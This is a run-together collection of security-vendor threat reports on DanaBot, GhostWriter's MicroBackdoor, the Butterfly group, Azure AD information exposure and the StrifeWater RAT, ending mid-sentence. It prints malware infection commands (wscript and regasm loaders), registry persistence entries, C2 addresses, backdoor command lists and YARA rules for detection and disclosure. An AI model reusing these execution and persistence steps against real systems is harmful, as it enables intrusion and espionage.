`HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security` `AccessVBOM = "0"` `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` `SCardSvr = "%User Profile%\Local Settings\{random file name}.exe"` **Other Details** This Trojan connects to the following possibly malicious URLs: `http://www.google.com/{BLOCKED}mapandtet` `http://{BLOCKED}.{BLOCKED}.69.202:443/{5 random letters}.php?id={alphanumeric ID}` `http://{BLOCKED}.{BLOCKED}.138.100:80/{5 random letters}.php?id={alphanumeric ID}` **Variant Information** This Trojan has the following MD5 hashes: `0280c89e03f255141a7d6fc400cfd51e` `4b0eb6b90c8dbeeaf5a870b7cdf77d00` `ccf8b4c5d8fbcf4f16277f871ecf4197` `eae86cc58b8ef8ad98b7db4dcf01102f`
# DanaBot Updated with New C&C Communication ESET researchers have discovered new versions of the DanaBot Trojan, updated with a more complicated protocol for C&C communication and slight modifications to architecture and campaign IDs. The fast-evolving, modular Trojan DanaBot has undergone further changes, with the latest version featuring an entirely new communication protocol. The protocol, introduced to DanaBot at the end of January 2019, adds several layers of encryption to DanaBot’s C&C communication. Besides the changes in communication, DanaBot’s architecture and campaign IDs have also been modified. After being discovered in May 2018 as part of Australia-targeted spam campaigns, DanaBot has had an eventful time since, appearing in malspam campaigns in Poland, Italy, Germany, Austria, and Ukraine, as well as in the United States. The European campaigns have seen the Trojan expanding its capabilities with new plugins and spam-sending features. In ESET telemetry on January 25, 2019, we noticed unusual DanaBot-related executables. Upon further inspection, these binaries were revealed to be DanaBot variants, but using a different communication protocol to communicate with the C&C server. Starting January 26, 2019, DanaBot operators stopped building binaries with the old protocol. At the time of writing, the new version is being distributed under two scenarios: - As “updates” delivered to existing DanaBot victims - Via malspam in Poland ## The New Communication Protocol In the communication protocol used before January 25, packets were not encrypted in any way. Following the latest changes, DanaBot uses the AES and RSA encryption algorithms in its C&C communication. The new communication protocol is complicated, with several encryption layers being used. These changes break existing network-based signatures and make it more difficult to write new rules for Intrusion Detection and Prevention Systems. Also, without access to the corresponding RSA keys, it is impossible to decode sent or received packets; thus PCAP files from cloud-based analysis systems become unusable for researchers. Each packet sent by the client has a 24 (0x18)-byte header: | Offset | Size (bytes) | Meaning | |--------|--------------|---------| | 0x0 | 0x8 | Size of the data after this header | | 0x8 | 0x8 | Random value | | 0x10 | 0x8 | Sum of first two fields | For each packet, the header is followed by AES-encrypted packet data, then a 4-byte value indicating AES padding size, and finally the RSA-encrypted AES key. Each packet is encrypted with a different AES key. Server responses use the same format. Unlike in previous versions, packet data in server responses does not follow any specific layout (with some exceptions). ### Packet Data Layout Former packet data layout was detailed by Proofpoint in October 2018. In the latest version of DanaBot, the layout is slightly modified. ## Changes in DanaBot Architecture Besides the changed communication protocol, DanaBot has also undergone some changes in architecture. The previous versions of DanaBot included a component that downloaded and executed the main module. The main module then downloaded and executed plugins and configurations. The latest version shifts both these responsibilities to a new loader component, which is used to download all plugins along with the main module. Persistence is achieved by registering the loader component as a service. ### Commands According to our analysis, the loader component uses the following commands: - 0x12C – Hello. First command sent by client to server - 0x12D – Download 32/64-bit launcher component - 0x12E – Request list of plugins and configuration files - 0x12F – Download plugin/configuration files Downloaded plugins and configuration files are encrypted using an AES key derived from the Client ID. In addition to that, plugins are compressed in ZIP format using LZMA compression, whereas configuration files are compressed using zlib. Commands with ID numbers 0x130 – 0x134 are sent by the main module: - 0x130 – Upload collected information to C&C server (e.g., screenshot of a victim’s computer; system information) - 0x131 – Upload collected information to C&C server (e.g., list of files on the victim’s hard disk) - 0x132 – Ask C&C server for further commands; there are around 30 available commands typical of backdoors, including launching plugins, gathering detailed system information, and modifying files on client system - 0x133 – Update C&C server list via Tor proxy - 0x134 – Exact purpose unknown; most likely used for communication between plugins and C&C ## Changes in Campaign IDs Previous research has suggested that DanaBot is distributed under various “affiliate” or “campaign” IDs. In the previous version of DanaBot, almost 20 different campaign IDs were used. In the latest version, campaign IDs have changed slightly. As of February 5, 2019, we are seeing the following IDs in the wild: - ID=2 appears to be a test version, serving a limited number of configuration files and no webinjects - ID=3 is being actively spread, targeting users in both Poland and Italy, serving all configuration files and webinjects for both Polish and Italian targets - ID=5 serves configuration files for Australian targets - ID=7 is being spread only in Poland, serving webinjects for Polish targets - ID=9 appears to be another test version, with limited spread and no specific targeting, serving a limited number of configuration files and no webinjects ## Conclusion In 2018, we observed DanaBot expanding in both distribution and functionality. The beginning of 2019 has seen the Trojan undergo “internal” changes, indicating active development by its authors. The latest updates suggest the authors are making an effort to evade detection at the network level, and possibly paying attention to published research and making changes to stay ahead of defenders. ESET systems detect and block all DanaBot components and plugins under detection names listed in the IoCs section. This research was carried out by Kaspars Osis, Tomáš Procházka, and Michal Kolář. ## Indicators of Compromise (IoCs) C&C servers used by the new version of DanaBot: - 84.54.37[.]102 - 89.144.25[.]243 - 89.144.25[.]104 - 178.209.51[.]211 - 185.92.222[.]238 - 192.71.249[.]51 Webinject and redirect servers: - 47.74.249[.]106 - 95.179.227[.]160 - 185.158.249[.]144 ### Example Hashes Note that since new builds of DanaBot’s components are released regularly, we provide just a sampling of hashes. | Component | SHA-1 | ESET Detection Name | |-----------|-------|---------------------| | Dropper | 98C70361EA611BA33EE3A79816A88B2500ED7844 | Win32/TrojanDropper.Danabot.O | | Loader (x86), campaign ID=3 | 0DF17562844B7A0A0170C9830921C3442D59C73C | Win32/Spy.Danabot.L | | Loader (x64), campaign ID=3 | B816E90E9B71C85539EA3BB897E4F234A0422F85 | Win64/Spy.Danabot.G | | Loader (x86), campaign ID=9 | 5F085B19657D2511A89F3172B7887CE29FC70792 | Win32/Spy.Danabot.I | | Loader (x64), campaign ID=9 | 4075375A08273E65C223116ECD2CEF903BA97B1E | Win64/Spy.Danabot.F | | Main Module (x86) | 28139782562B0E4CAB7F7885ECA75DFCA5E1D570 | Win32/Spy.Danabot.K | | Main Module (x64) | B1FF7285B49F36FE8D65E7B896FCCDB1618EAA4B | Win64/Spy.Danabot.C | ### Plugins | Plugin | SHA-1 | ESET Detection Name | |--------|-------|---------------------| | RDPWrap | 890B5473B419057F89802E0B6DA011B315F3EF94 | Win32/Spy.Danabot.H | | Stealer (x86) | E50A03D12DDAC6EA626718286650B9BB858B2E69 | Win32/Spy.Danabot.C | | Stealer (x64) | 9B0EC454401023DF6D3D4903735301BA669AADD1 | Win64/Spy.Danabot.E | | Sniffer | DBFD8553C66275694FC4B32F9DF16ADEA74145E6 | Win32/Spy.Danabot.B | | VNC | E0880DCFCB1724790DFEB7DFE01A5D54B33D80B6 | Win32/Spy.Danabot.D | | TOR | 73A5B0BEE8C9FB4703A206608ED277A06AA1E384 | Win32/Spy.Danabot.G |
# GHOSTWRITER / UNC1151 ADOPTS MICROBACKDOOR VARIANTS IN CYBER OPERATIONS AGAINST UKRAINE March 8, 2022 For a few months, Cluster25 collected and analyzed several malicious activities which were internally linked with the threat actor known as UNC1151 (aka GhostWriter), an adversary believed to be linked to the Belarusian government. In July 2020, Mandiant Threat Intelligence released a public report about an ongoing influence campaign named “GhostWriter.” The campaign targeted audiences in Lithuania, Latvia, and Poland, making use of critical messages against NATO’s presence in Eastern Europe. In addition to this type of operation, UNC1151 seems to be further active in compromising objectives of strategic importance. On March 4, 2022, Cluster25 collected a malicious document designed to spread malware for espionage purposes against targets located in Ukraine. This document displayed the logos of the Ukrainian President’s office and secret services, with content relating to advice on dealing with the bombing. ## INSIGHTS The document is a Microsoft Compressed HTML Help (CHM) file named `dovidka.chm`. After extracting the file, it shows the following structure: `dovidka.chm` contains a file named `file.htm` that, in turn, contains obfuscated VBScript (VBS) code as reported following: The script checks for the presence of the file `C:\Users\Public\Favorites\desktop.ini`, then it writes a second VBS script under the path `C:\Users\Public\ignit.vbs`. After that, it runs the latter script, deletes it, and finally runs the command: ``` wscript.exe //B //E:vbs C:\Users\Public\Favorites\desktop.ini ``` The script `ignit.vbs` decodes and writes the following files: - `C:\Users\Public\Libraries\core.dll` - `C:\Users\Public\Favorites\desktop.ini` - `C:\ProgramData\Microsoft\Windows Start Menu\Programs\Startup\Windows Prefetch.lnk` The `desktop.ini` file runs the following command, which executes the file `core.dll` with the Microsoft Assembly Registration Tool (Regasm.exe): ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U "C:\Users\Public\Libraries\core.dll" ``` ## MICROLOADER The file `core.dll` is a DLL file in .NET code compiled on Monday, January 31, 2022, at 15:00:46 UTC. Code obfuscation and anti-tampering techniques have been used to hinder the analysis. The kind of anti-tampering techniques used shows similarities with the use of the open-source code-protector tool for .NET named ConfuserEx. This is because several methods appear as empty, and decompilation exceptions are present when the file is opened in tools such as dnSpy. We thought to make the code a little more readable by setting a breakpoint after the anti-tamper method (first method in the constructor) and by replacing the method with NOPs to finally save and reopen the module in dnSpy. This is necessary since the method is responsible for changing the RVA values of the methods. After this is executed, the values are correct, so it is possible to dump the new version of the DLL, but it is also necessary to avoid the anti-tamper method from being called in the next execution; otherwise, it would change the values again. This code is basically a payload aimed at unpacking and executing a payload. ## MICROBACKDOOR The piece of code in the new thread is basically meant to perform a connection to the domain `xbeta[.]online` attested on IP address `185.175.158[.]27`. If the connection is successful, it receives and decrypts commands and performs the appropriate actions. The identified commands that can be executed are: - `id` - `info` - `ping` - `exit` - `upd` - `uninst` - `exec` - `shell` - `flist` - `fget` - `fput` - `screenshot` The implant is able to perform any classic operation in support of activities aimed at espionage, such as collecting data relating to the machine in which it is operating, downloading and transferring files, executing arbitrary commands, capturing screenshots, etc. ## CONCLUSIONS The relations between Russia and Belarus date back to 1991 with the signing of the Belovezh Accords on the ending of the USSR and the establishment of the Commonwealth of Independent States (CIS). In the actual conflict going on in Ukraine, Minsk has shown its support to Moscow, even if publicly Lukashenko said that he would avoid the participation of Belarusian soldiers. In case of an escalation, it’s likely that Belarus will assist Russia militarily. Based on the above, however, it seems that the Belarusian government is already openly participating in offensive operations in the cyber domain by protecting Russian interests. ## INDICATORS OF COMPROMISE | CATEGORY | TYPE | VALUE | |----------|------|-------| | PAYLOAD | MD5 | 2556a9e1d5e9874171f51620e5c5e09a | | PAYLOAD | SHA1 | affc2b19d9fb8080a7211c3ed0718f2c3d3887df | | PAYLOAD | SHA256 | 7f0511b09b1ab3a64c8827dd8af017acbf7d2688db31a5d98fea8a5029a89d56 | | PAYLOAD | MD5 | d2a795af12e937eb8a89d470a96f15a5 | | PAYLOAD | SHA1 | 491214cc496f4a358856801d0381eb4926c07c59 | | PAYLOAD | SHA256 | e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72 | | PAYLOAD | MD5 | e2e6bb2fa799b8a9ace6125f80cc06d2 | | PAYLOAD | SHA1 | 5f7b3f789916b8ddcf8042f83817719bae133474 | | PAYLOAD | SHA256 | 559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91 | | NETWORK | C2 | xbeta[.]online | | NETWORK | C2 | 185.175.158[.]27 | ## ATT&CK MATRIX | TACTIC | TECHNIQUE | DESCRIPTION | |---------------------|------------------|--------------------------------------| | Initial Access | T1566.001 | Spearphishing Attachment | | Execution | T1059 | Command and Scripting Interpreter | | Defense Evasion | T1036 | Masquerading | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | | Defense Evasion | T1027 | Obfuscated Files or Information | | Discovery | T1082 | System Information Discovery | ## DETECTION ```plaintext rule GhostWriter_MicroLoader_72632_00001 { meta: author = "Cluster25" hash1 = "e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72" tlp = "white" strings: $ = "ajf09aj2.dll" fullword wide $ = "regsvcser" fullword ascii $ = "X l.dlT" fullword ascii $ = "rtGso9w|4" fullword ascii $ = "ajlj}m${<" fullword ascii condition: (uint16(0) == 0x5a4d and all of them) } rule GhostWriter_MicroBackdoor_72632_00001 { meta: author = "Cluster25" hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91" tlp = "white" strings: $ = "cmd.exe /C \"%s%s\"" fullword wide $ = "client.dll" fullword ascii $ = "ERROR: Unknown command" fullword ascii $ = "*** ERROR: Timeout occurred" fullword ascii $ = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii $ = "MIIDazCCAlOgAwIBAgIUWOftflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword ascii condition: (uint16(0) == 0x5a4d and all of them) } ``` Written by: Cluster25 Tagged as: APT, Ukraine, UNC1151, GhostWriter, MicroBackdoor, Russia.
# Endpoint Protection **A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property.** The gang, which Symantec calls Butterfly, is not state-sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies that have publicly acknowledged attacks. Butterfly is technically proficient and well-resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes. ## A history of ambitious attacks The first signs of Butterfly’s activities emerged in early 2013 when several major technology and internet firms were compromised. Twitter, Facebook, Apple, and Microsoft disclosed that they had been compromised by very similar attacks. The attackers compromised a website used by mobile developers and used a Java zero-day exploit to infect them with malware. The malware used in these attacks was a Mac OS X back door known as OSX.Pintsized. Subsequent analysis by security researcher Eric Romang identified a Windows back door, Backdoor.Jiripbot, which was also used in the attacks. Following this flurry of publicity, the Butterfly group slipped back into the shadows. However, an investigation by Symantec has found that the group has been active since at least March 2012, and its attacks have not only continued to the present day but have also increased in number. Symantec has discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly. Over time, a picture has emerged of a cybercrime gang systematically targeting large corporations in order to steal confidential data. ## Multiple sectors targeted Aside from the four companies that have publicly acknowledged attacks, Symantec has identified five other large technology firms compromised by Butterfly, primarily headquartered in the US. However, technology is not the only sector the group has focused on, and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms. In the first attack, the attackers gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters. This template appeared to be followed in the two subsequent attacks on big pharma firms, with Butterfly compromising computers in a number of regional offices before being discovered. Butterfly has also shown an interest in the commodities sector, attacking two major companies involved in gold and oil in late 2014. In addition to this, the Central Asian offices of a global law firm were compromised in June 2015. The company specializes in finance and natural resources specific to that region. The latter was one of at least three law firms the group has targeted over the past three years. ## Stolen information Butterfly appears to have a good working knowledge of the organizations it is attacking and is focused on stealing specific kinds of information. In many attacks, the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails. The group has also attacked enterprise content management systems, which would often be home to legal and policy documents, financial records, product descriptions, and training documents. In some instances, the group has zoned in on specialist systems. For example, one attack saw it gain access to a Physical Security Information Management (PSIM) system, which is used for managing and monitoring physical security systems, including swipe card access. This could have provided the attackers with access to CCTV feeds, allowing them to track the movement of people around buildings. ## Suite of custom malware tools Butterfly has a number of malware tools at its disposal, all of which appear to be internally developed. Each tool is well documented, indicating that a group rather than an individual is responsible for the attacks. Its primary tools are two back door Trojans. OSX.Pintsized is capable of opening a back door on Mac OS X computers. Its Windows counterpart is Backdoor.Jiripbot, which has shown signs of continuous development over the past two years, with various minor features being removed or added. Butterfly has also developed a number of its own hacking tools. Hacktool.Securetunnel is a modified version of OpenSSH which contains additional code to pass a command-and-control (C&C) server address and port to a compromised computer. Hacktool.Bannerjack is used to retrieve default messages issued by Telnet, HTTP, and generic Transmission Control Protocol (TCP) servers. Symantec believes it is used to locate any potentially vulnerable servers on the local network, likely including printers, routers, HTTP servers, and any other generic TCP server. Butterfly uses Hacktool.Multipurpose to help it move across a compromised network by editing event logs to hide activity, dumping passwords, securely deleting files, encrypting files, and carrying out basic network enumeration. The group uses Hacktool.Eventlog to parse event logs, dumping out ones of interest, and delete entries. It also kills processes and performs a secure self-delete. Hacktool.Proxy.A is used to create a proxy connection that allows attackers to route traffic through an intermediary node, onto their destination node. ## Motivated by financial gain Based on the profile of the victims and the type of information targeted by the attackers, Symantec believes that Butterfly is financially motivated, stealing information it can potentially profit from. The group appears to be agnostic about the nationality of its targets, leading us to believe that Butterfly is unaffiliated to any nation state. The group’s malware is documented in fluent English, indicating that some of the group members, if not all, can speak the language. They also display some knowledge of English-speaking pop culture, such as using the meme AYBABTU (All your base are belong to us) as an encryption key in Backdoor.Jiripbot. Command-and-control server activity is highest at times that correspond to the US working day, which may suggest some or all of the group are operating in this region. However, this could also be accounted for by the fact that many of the group’s victims are located in the US. Butterfly may profit from its attacks in a number of ways. The group may be operating as “hackers for hire,” targeting corporations on request. Alternatively, it may select its own targets and either sell stolen information to the highest bidder or use it for insider-trading purposes. Butterfly is a disciplined, technically capable group with a high level of operational security. Having managed to increase its level of activity over the past three years while maintaining a low profile, the group poses a threat that ought to be taken seriously by corporations. ## Protection Symantec and Norton products have the following protections against the Butterfly toolset: - Antivirus - Intrusion prevention system
# Azure Active Directory Exposes Internal Information **Counter Threat Unit Research Team** **Updated: April 12, 2022** ## Summary Microsoft Azure Active Directory (Azure AD) is an identity and access management solution used by over 88 percent of Fortune 500 companies. This market penetration makes Azure AD a lucrative target for threat actors. In the second half of 2021, Secureworks® Counter Threat Unit™ (CTU) researchers analyzed Azure AD tenants and extracted open-source intelligence (OSINT) about organizations. Threat actors frequently use OSINT to perform reconnaissance. CTU researchers identified several application programming interfaces (APIs) that access internal information of any organization that uses Azure AD. Collected details included licensing information, mailbox information, and directory synchronization status. CTU researchers shared their findings with Microsoft, and all but two of the issues have been mitigated as of this publication. Microsoft applied the updates automatically to all Azure AD tenants, so no actions are required for Azure AD administrators. Microsoft classified the unmitigated issues as “by-design.” The first issue allows anyone to query the directory synchronization status. In some scenarios, Azure AD reveals the name of the high-privileged account used for synchronization. The second issue could reveal internal information about the target Azure AD tenant, including the technical contact’s full name and phone number. The technical contact usually holds Azure AD Global Administrator privileges. **Update:** Microsoft addressed the remaining issues in April 2022. ## OSINT details in Azure AD Tools such as AADInternals gather OSINT from Azure AD using unauthenticated APIs. This OSINT includes the target tenant’s registered domains and types, tenant name and ID, and seamless single sign-on status (also known as DesktopSSO). In addition to the unauthenticated APIs, there are authenticated APIs that can only be used after logging into an Azure AD tenant. CTU researchers discovered authenticated APIs that could access information about any tenant, not just the authenticated user's tenant. ## Diagnostics API Microsoft uses the undocumented Diagnostics API with the Support and Recovery Assistant (SaRA) tool to help the logged-in user diagnose and solve problems when accessing Microsoft cloud services. In 2019, CTU researchers observed SaRA using an analysis API endpoint. 1. A user opens SaRA, enters symptoms, and starts the diagnostic. 2. SaRA makes an initial HTTP POST request to the analysis endpoint. The request contains an AnalyzerId and DiagnosisInfo. 3. The response returns the SessionId to SaRA. 4. The Diagnostics API backend starts the analyzer to explore the defined user’s tenant and mailbox. 5. SaRA uses an HTTP GET request and the SessionId to poll the analysis status. 6. The Diagnostics API returns analysis results to SaRA. 7. SaRA displays the results to the user. The AnalyzerId represents an analyzer containing the diagnostic instructions that SaRA tasks the Diagnostics API to perform on the user’s behalf. CTU researchers identified the cloud-related analyzers from this list: | Identifier | Name | |------------|------| | 64fc98c3-da51-41f0-9051-1fb5921deb95 | TenantInfo.TenantUserInfoAnalyzer | | 6a60a84b-634c-4fe8-a840-ba1a44a2e6fd | TenantInfo.TenantSoftwareSettingsAnalyzer | | 99916cd2-6bc9-44c6-b58e-0fbca87b1975 | ExchangeCmdlets.ExchangeHybridTenantAnalyzer | | 90c40b3f-251a-4b09-a4b6-5c8d53e986d0 | ExchangeCmdlets.GetMailboxAnalyzer | | 597b1b90-b4a8-4fa0-9ddb-dcd997f0b8c2 | ExchangeCmdlets.GetUserAnalyzer | | ea7e84ae-041d-4e48-a308-c76bd4f09ac2 | ExchangeCmdlets.CasMailboxAnalyzer | The SaRA client uses the DiagnosisInfo structure to pass parameters to analyzers. The results contain user information, including full licensing information, Office versions enabled in the tenant, the organization’s Exchange hybrid configuration and external relationships, user mailbox information, and Messaging Application Programming Interface (MAPI) status. The Diagnostics API does not validate whether the SmtpAddress matches the logged-in user. It is possible to retrieve information for any user from any tenant by replacing the SmtpAddress with the email address of the target user. If the target user does not exist but the domain is correct, the API returns all tenant-related information. This information is valuable to threat actors. CTU researchers reported this vulnerability to Microsoft on September 7, 2021. On September 22, Microsoft responded that the issue was resolved. CTU researchers confirmed that the resolution included two modifications: - Denies access to other users’ information. - Invalidates all AnalyzerIDs, making the analysis endpoint obsolete. In 2021, CTU analysis of SaRA version 17.0.7.7119.4 revealed the client using the cloudcheck endpoint instead of the analysis endpoint. 1. A user opens SaRA, enters symptoms, and starts the diagnostic. 2. SaRA makes an initial HTTP POST request to the cloudcheck endpoint. The request contains the Symptom and Parameters details the user entered in Step 1. 3. The response returns the RequestId to SaRA. 4. The diagnosis API backend starts the diagnostics to explore the defined user’s tenant and mailbox. 5. SaRA uses an HTTP GET request and the RequestId to poll the analysis status. 6. The cloudcheck endpoint returns diagnostic results to SaRA. 7. SaRA displays the results to the user. The SaRA client revealed the following symptoms that could retrieve similar diagnostic information as the analysis endpoint: - CasMailbox - DirSyncCheck - ExchangeHybridTenant - GetUserDiagnostic - TenantUserInfo Like the analysis endpoint, the UserUpn and UserSMTPEmail attributes in the initial request were the same as the user principal name of the bearer token used to access the API. After Microsoft addressed the analysis endpoint issue, the logged-in user could only retrieve CasMailBox information for users of the same tenant. However, all other information could still be requested from any tenant. CTU researchers reported this vulnerability to Microsoft on September 23, 2021. On December 2, 2021, Microsoft applied an update. CTU researchers confirmed that everything except the directory synchronization status issue was addressed. Table 2 lists the directory synchronization status values. While all status information is important for threat actors, the password expiration message is the most valuable as it reveals the account name used for synchronization. | Synchronization status message | Description | |--------------------------------|-------------| | Directory Synchronization (or) password Synchronization is enabled for your tenant: <redacted> | Directory synchronization is enabled and working normally | | Active Directory Synchronization or Password Synchronization needs to be enabled for your tenant: <redacted>. This is something your Office 365 administrator can fix. | Directory synchronization is not enabled | | Your tenant <redacted> password Synchronization server hasn't successfully synchronized with Office 365 in the last three hours. The last time it synced was 9/23/2020. | Directory synchronization is enabled but has not successfully synchronized after the listed date | | Your tenant <redacted> directory Synchronization server hasn't successfully synchronized with Office 365 in the last three hours. The last time it synced was 1/1/0001. | Directory synchronization is enabled but has never been successfully synchronized | | Your tenant <redacted> directory synchronization service account <redacted>@<redacted>.onmicrosoft.com password is expiring in 11 days. This is something your Office 365 administrator can fix. | Directory synchronization is enabled and working normally, but the password of the account used for synchronization is expiring soon | ## Organization information Azure AD collects information when a representative from an organization signs up for a new Microsoft 365 or Azure AD environment or tenant. The form collects the full name and phone number of this representative, and that person becomes the technical contact of the tenant. After signing up, this technical contact can edit their contact details in the Microsoft 365 admin center. The company name and phone number are pre-populated from the original signup form. Microsoft business partners offer services to customer organizations that use Microsoft cloud services such as Microsoft 365 and Azure AD. Azure AD administrators in customer organizations can authorize these partners to access their tenants, which creates a partner relationship in the customer’s tenant. These partner relationships can only be accessed via the Microsoft 365 admin center. Only administrators have access to the admin center. CTU researchers discovered an API used by the admin center to retrieve details regarding the partner’s organization. Although the API is exclusively used by the admin center, it does not require administrative permissions to be accessed. The API requires the partner’s tenant ID as an input. The response contains contact data from the organization information and signup form. After the initial signup, the first and last name can only be changed by Microsoft. Those fields cannot be viewed or modified in the admin center. CTU researchers verified that this API could retrieve this information for any tenant, regardless of their partner status. CTU researchers reported this vulnerability to Microsoft on December 14, 2021. On January 12, 2022, Microsoft stated that “this information is expected to be shown” and did not mitigate the issue. ## Conclusion A threat actor can gather a significant amount of OSINT from an Azure AD tenant. Microsoft addressed all but two of the issues CTU researchers identified: - The tenant’s synchronization status can reveal if the synchronization is configured, if it is operational, the time of the last synchronization, and the synchronization account’s name. Attackers can use this information for social engineering and targeted brute-force attacks. - The organization information could expose the name and phone number of the tenant’s Global Administrator. This information can be abused for social engineering, spearphishing, and targeted brute-force attacks. CTU researchers recommend the following actions to protect tenants from OSINT abuse: - Organizations should ensure that their directory synchronization can perform the synchronization within the defined timeframes to avoid exposing details in error messages. Administrators receive an email if synchronization has not been successful in more than 24 hours, but the error message is displayed after three hours of inactivity. - Organizations that implement an expiration for a directory synchronization account password should reset the password before Azure AD displays the expiration reminder to prevent exposure of the directory synchronization account name. - Organizations should change the details associated with their tenant to general labels (e.g., “IT Department”) rather than personally identifiable data. Using a generic term prevents exposing the name of the potential Global Administrator account. An organization can modify some fields (e.g., phone number), but must create a support request in the Azure portal to change the first and last name of the technical contact. **April 12 update:** After this analysis was published on April 5, 2022, Microsoft reassessed the two remaining issues. CTU researchers verified that these issues have been addressed as of April 12: - The synchronization status is only visible for the user's tenant. - Only administrators can access the admin API that exposes organizational information. Additionally, the API does not return the technical contact's name.
# StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations **Written By** Cybereason Nocturnus February 1, 2022 | 7 minute read Over the past months, the Cybereason Nocturnus Team has been tracking the Iranian hacker group known as Moses Staff. The group was first spotted in October 2021 and claims their motivation is to harm Israeli companies by leaking sensitive, stolen data. Aside from Israel, which appears to be the main target of the group, Moses Staff was observed targeting organizations in other countries, including Italy, India, Germany, Chile, Turkey, UAE, and the US. The group targets a variety of industries, among them Government, Finance, Travel, Energy, Manufacturing, and the Utilities industry. Following recently published research detailing the group’s TTPs including their main tools “PyDcrypt” and “DCSrv”, the Cybereason Nocturnus team discovered a previously unidentified Remote Access Trojan (RAT) in the Moses Staff arsenal dubbed StrifeWater. The StrifeWater RAT appears to be used in the initial stage of the attack and this stealthy RAT has the ability to remove itself from the system to cover the Iranian group’s tracks. The RAT possesses other capabilities, such as command execution and screen capturing, as well as the ability to download additional extensions. Normally, once the group infiltrates an organization and steals sensitive data, they deploy ransomware to encrypt the infected machines. Unlike financially motivated cybercrime ransomware groups who encrypt the files as leverage for ransom payment, the encryption of the files in the Moses Staff attacks serves two purposes: inflicting damages by disrupting critical business operations, and covering the attackers’ tracks. The end goal for Moses Staff appears to be more politically motivated rather than financial. Analysis of the group’s conduct and operations suggests that Moses Staff leverages cyber espionage and sabotage to advance Iran’s geopolitical goals by inflicting damage and spreading fear. ## Key Findings - **Novel Remote Access Trojan**: A newly undocumented RAT dubbed StrifeWater assessed to be part of the arsenal used by Iranian APT Moses Staff. The RAT is assessed to be specifically used in the initial phase of infection and is later replaced with other tools. - **Various Functionality**: The StrifeWater RAT has various capabilities, among them: listing system files, executing system commands, taking screen captures, creating persistence, and downloading updates and auxiliary modules. - **Under the Radar**: The StrifeWater RAT appears to be removed from the infected environment in time for the deployment of the ransomware. This is likely the reason the RAT was not detected before. - **State-Sponsored Ransomware**: Moses Staff employs ransomware post-exfiltration not for financial gain, but to disrupt operations, obfuscate espionage activity, and to inflict damage to systems to advance Iran’s geopolitical goals. - **Victims Across the Globe**: The Moses Staff list of victims includes multiple countries and regions, among them: Israel, Italy, India, Germany, Chile, Turkey, UAE, and the US. ## StrifeWater: A New Iranian RAT The Cybereason Nocturnus Team has been tracking the activities of the Moses Staff threat group since their operations first became known in 2021. While monitoring the group’s activity, Cybereason researchers discovered an undocumented RAT dubbed StrifeWater that is used by Moses Staff in the initial stage of the attack. It was observed that the StrifeWater RAT was deployed in infected environments under the name “calc.exe”. One of the key clues that led to the discovery of the StrifeWater RAT came from an analysis of a new variant of the PyDCrypt malware used by the Moses Staff group. ### Zeroing-in on the Moses Staff PyDCrypt Malware The Nocturnus Team found a new sample of the PyDCrypt malware, which was described in Checkpoint’s blog published in November 2021. PyDCrypt is written in Python and compiled using PyInstaller. Its goal is to spread to other computers and to drop the payload “DCSrv”, a ransomware variant based on the publicly available tool DiskCryptor. According to previous observations, the Moses Staff group builds a new sample of PyDCrypt for each targeted organization with hard coded parameters such as an admin username and password, a machines list, and a local domain. The inclusion of this hard coded information means PyDCrypt is only deployed in a late stage of the attack after the environment is already compromised and sufficient reconnaissance efforts to map out the target’s environment have already taken place. The newly discovered PyDCrypt variant had one significant change to it: instead of the ransomware payload, the script contains what appears to be a test executable embedded which merely prints “Hello” upon execution. This could indicate that this variant is still in the development and testing phase. Moses Staff often uses the folder “C:\Users\Public” to store its deployed tools. As part of its execution, PyDCrypt copies the original Windows calculator binary (calc.exe) from system32 to the folder where the rest of the payloads are saved (C:\Users\Public\calc.exe) and then deletes it. We suspect that PyDCrypt’s removal of “calc.exe” from the infected machine is an attempt to remove evidence of the StrifeWater RAT, which is also named “calc.exe” by the attackers. We estimate that the replacement of the StrifeWater RAT with the original Windows Calculator binary and its immediate deletion was done in an attempt to cover the attackers’ tracks and thwart forensic analysis efforts. Due to the fact that PyDCrypt is a late stage attack tool that is deployed after reconnaissance was undertaken, Moses Staff must have a foothold of the infected environments before its deployment. Based on our analysis of the StrifeWater RAT, we suspect that it is used by the attackers to gain a foothold and to conduct initial reconnaissance on the compromised target. ## StrifeWater Analysis StrifeWater is a previously undocumented RAT that is suspected to be used in the initial stages of the Moses Staff infection chain in order to achieve persistence and gain control over the network, appearing as the file “calc.exe”. The main capabilities of StrifeWater include: - Listing system files - Executing shell commands using cmd.exe - Taking screen captures - Creating persistence via a scheduled task - Downloading updates and auxiliary modules In addition, the RAT can extend its capabilities by downloading several module extensions, although the functionality of these modules is not known at the time of writing. The RAT has the following PDB string: “C:\Users\win8\Desktop\ishdar_win8\1\x64\Release\brokerhost.pdb” It uses a hard coded IP address and URI to communicate with its command and control (C2) server (87.120.8[.]210:80/RVP/index8.php). Although the malware always uses the same IP address and URL, it also contains a domain 